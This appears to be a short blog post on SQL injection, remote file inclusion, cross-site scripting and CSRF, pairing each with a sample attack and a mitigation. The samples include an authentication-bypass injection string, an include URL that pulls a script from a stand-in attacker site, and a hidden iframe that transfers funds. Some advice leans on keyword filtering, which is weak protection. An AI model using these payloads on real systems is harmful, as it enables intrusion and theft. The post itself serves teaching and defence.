In this post I am listing some of the most common web application vulnerabilities, and the mitigation strategy for each.
It is a kind of attack in which untrusted data is sent to the interpreter as part of a query.The principal behind SQL injection is pretty simple. When an application takes user data as an input, there is an opportunity for a malicious user to enter carefully crafted data that causes the input to be interpreted as part of a SQL query instead of data.
Consider the following piece of code:
SELECT * FROM Users WHERE Username='$username' AND Password='$password'
This query is supposed to show all field from the table Users if the username and password matches.
However it is possible for an attacker to exploit the vulnerability in this piece of code. Suppose the attacker gives the following entry for both username and password:
Username=1' or '1' = '1 Password=1' or '1' = '1
resulting in the query:
SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1'
Now it is very obvious that since ‘1’=’1′ always return true, the authentication process is very easily bypassed
The most effective mitigation strategy would be to perform input data sanitization and data validation.
By data sanitization what is meant is to use some kind of function that runs the input data to ensure that the queryt data does not consist of any special, dangerous characters such as ” ‘ ” or ” ; ” or ” –” etc.
Data validation on the other hand is meant to ensure that the query is in a form that is expected.
There are two types of file inclusion attacks
- Remote File Inclusion
- Local File Inclusion
Remote File Inclusion or RFI attacks are the most common and dangerous of both.
With this attack type, an attacker can injec a remote file into the server, and the contents of the file wreak havoc on the server according to what the hacker coded. Some remote file inclusion attacks just add a random string of text to the website, while others can cause something more malicious, such data theft, or further vulnerabilities on the website.
All websites are made up of many files — for images, coding and other features. If the administrator does not include validation rules that check for incoming files, then a remote file inclusion is one of the easiest attacks for a hacker to perform. The hacker just has to manipulate the website address to trick it into including a new file, and the remote file will be uploaded to the server.
Consider the following:
http://vulnerable_site.com/index.php?page=home
This is done to pull the documents stored in the server and display it to the user. Now, it is possible to perform file inclusion by executing something like this if the input is not properly validated:
http://vulnerable_site.com/index.php?page=htttp://evilsite.com/malicious_script.txt
Like all code injection attacks, RFI is a result of allowing unsecure data into a secure context. The best way to prevent an RFI attack is to never use arbitrary input data in a literal file include request.
-
Cross Site Scripting Attacks (XSS)
Cross-site scripting refers to that hacking technique that leverages vulnerabilities in the code of a web application to allow an attacker to send malicious content from an end-user and collect some type of data from the victim.
Many times the hacker will use the ‘comments’ feature of a web page to insert a comment that contains a script. Every user who views that comment will download the script which will execute on his browser, causing undesirable behaviour. Something as simple as a Tweet can contain a malicious script, which if not filtered by the Twitter servers will be injected into your Wall and execute on the browser of every person who visits that profile.
The simplest and the easiest form of XSS protection would be to pass all external data through a filter which will remove dangerous keywords, such as the <SCRIPT> tag, JavaScript commands, CSS styles and other dangerous HTML markup.
Escaping from XSS
This is the primary means to disable an XSS attack. When performing Escaping you are effectively telling the browser that the data being sent should be treated as data and should not be interpreted in any other way. If an attacker manages to put a script on a web page, the victim will not be affected because the browser will not execute the script if it is properly escaped.
-
cross site request forgery (csrf)
CSRF is an attack whereby a malicious website will send a request to a web application that a user is already authenticated against from a different website. This way an attacker can access functionality in a target web application via the victim’s already authenticated browser. Targets include web applications like social media, in browser email clients, online banking.
This is how it works, suppose a user is logged into the website of a bank he is banking with, say, abcd_bank.com. At the same time on another browser he has opened some malicious website, say evilsite.com. Now this evilsite.com is planning to attack people banking with abcd_bank.com and have setup a CSRF attack on their site. Now he can include some malicious code like
<iframe src="http://abcd_bank.com/app/transferFunds?amount=1500&destinationAccount=123456789" >
As a result 1500 rs will be transferred to the account 123456789, which obviously belongs to the attacker.
The most common method to prevent Cross-Site Request Forgery (CSRF) attacks is to append unpredictable challenge tokens to each request and associate them with the user’s session. Such tokens should at a minimum be unique per user session, but can also be unique per request. By including a challenge token with each request, the developer can ensure that the request is valid and not coming from another source other than the user.
Subi_Prabhakaran 